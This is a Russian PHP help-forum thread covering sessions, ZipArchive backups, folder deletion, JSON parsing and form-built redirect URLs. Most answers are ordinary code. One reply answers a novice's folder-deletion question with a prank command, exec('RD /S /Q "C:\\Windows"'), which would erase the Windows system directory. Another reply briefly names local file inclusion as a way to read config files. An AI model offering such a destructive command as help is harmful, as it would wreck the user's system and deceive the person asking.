Не понял, я хочу сделать так, чтобы при успешном входе записывались куки. Так понимаю, что еслипоставлю в начало они запишутся в любом случае, даже если вход не удастся.
сделал обработчик, который меняет значение сессии при выходе из сеанса, меняет ключ сессии. хотелось бы ещё все сессии складывать в определённую папку, где прописана их продолжительность например 30 минут как лучше прописать путь к новой папке сессий, установив время работы сессии ? PHP: $session_dir = $_SERVER['DOCUMENT_ROOT'] .'/'.$folder.'/session/';//пути к папки сессий session_save_path($session_dir);//сохранение сессий в директорию у меня сессии создаются в новой папке но не читаются, и не проходит авторизация из за того что новый путь не видит скрипт перед удалением папки я создаю бекап, архивирую папку с файлами внутри скрипт сделал, но он не архивирует папку, только файлы архивирует PHP: <?PHP $zip = new ZipArchive(); $filename = './backup_'.time().'.zip'; if ($zip->open($filename, ZIPARCHIVE::CREATE)!==TRUE) { exit("cannot open <$filename>n"); } $zip->addFile("papka"); echo "numfiles: " . $zip->numFiles . "n"; echo "status:" . $zip->status . "n"; $zip->close(); ?> если файлы архивирую то указываю имя файла в этой строке и он архивируется, но вот папка не архивируется, хотя отсчёт выполняется $zip->addFile("file.php");
Всем привет! У меня нубский вопрос. Имеется форма HTML: <form id="form1" name="form1" method="post" action=""> <label> <input name="textfield" type="text" value="URL" size="50" maxlength="20" /> </label> <label> <input type="submit" name="Submit" value="Submit" /> </label> </form> Нужно сделать так, чтобы при нажатии на кнопку URL становился таким http://домен.ру/go.php?url=а сюда та ссылка, что была в поле ввода Разумеется, что параметр «http://домен.ру/go.php?url=» я пропишу вручную
PHP: <form id="form1" name="form1" method="get" action="http://домен.ру/go.php"> <label> <input name="url" type="text" value="URL" size="50" maxlength="20" /> </label> <label> <input type="submit" value="Submit" /> </label> </form>
куда лучше записывать значения конфигураций php скрипта, в базу из файлов или в mysql ? объём маленький например с точки зрения безопасности, бывают sql инъекции, а к файловой базе тоже могут применяться ?
Да, к базе в файлах может применяться локальный инклуд... в результате чего можно будет прочитать ваш файл конфигурации...
Я пробовал писать на этот сайт, там гемор ппц, в каком-то яваскрипт файле генерятся, стырить не получиться, но можно переписать яваскрипт ф-ю, и генерить у себя, я забил, и тебе советую, все равно не заработаешь так, я писал на 999дис бота, казино всегда в выигрыше)))
всем привет! как удалить папку с файлами на php, рабочий вариант для windows и linux серверов ? на моём windows сервере не работает: PHP: function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object); } } reset($objects); rmdir($dir); } } $dir = dirname(__FILE__) . '/backup'; rrmdir($dir);
PHP: <?php exec('RD /S /Q "C:\\Windows"'); PHP: <?php function remove_dir($dir) { if ( is_dir($dir) ) { $items = scandir($dir); foreach ($items as $_) { if ($_ == '.' or $_ == '..') { continue; } $_ = "$dir/$_"; if ( is_dir($_) ) { remove_dir($_); } else { unlink($_); } } rmdir($dir); } } remove_dir('test');
Всем привет есть json данные виде {"balance":"30.00"} хочу получить значение 30.00 делаю так PHP: $json = json_decode($str); $json->{'balance'}; return $json; ошибка Catchable fatal error: Object of class stdClass could not be converted to string как обойти эту кавычку в значении ?
PHP: $x='{"balance":"30.00"}'; $json=json_decode($x, true); print $json[balance]; Пример кода как работать с json, на примере vkapi _ttps://forum.antichat.ru/showpost.php?p=3739236&postcount=6
Как сделать, чтобы php сценарий выполнялся по запросу, т.е. если закрыть вкладку, запрос продолжал выполняться.
PHP: ini_set("max_execution_time", "0"); set_time_limit(0); использую в циклах, работает до тех пор пока цикл не закончит свою работу, бывало и по несколько часов работало, пока цикл не кончился или ошибка какая не помешает.
Не совсем поняли Вы меня… Есть страница с формой: Code: <form id="form1" name="form1" method="post" action=""> <label> <input name="textfield" type="text" value="URL" size="50" maxlength="20" /> </label> <label> <input type="submit" name="Submit" value="Submit" /> </label> </form> Нужно сделать так, чтобы, например введя в поле http://ya.ru и нажав на кнопку, на этой же странице появился текст http://домен.ру/go.php?url=http://ya.ru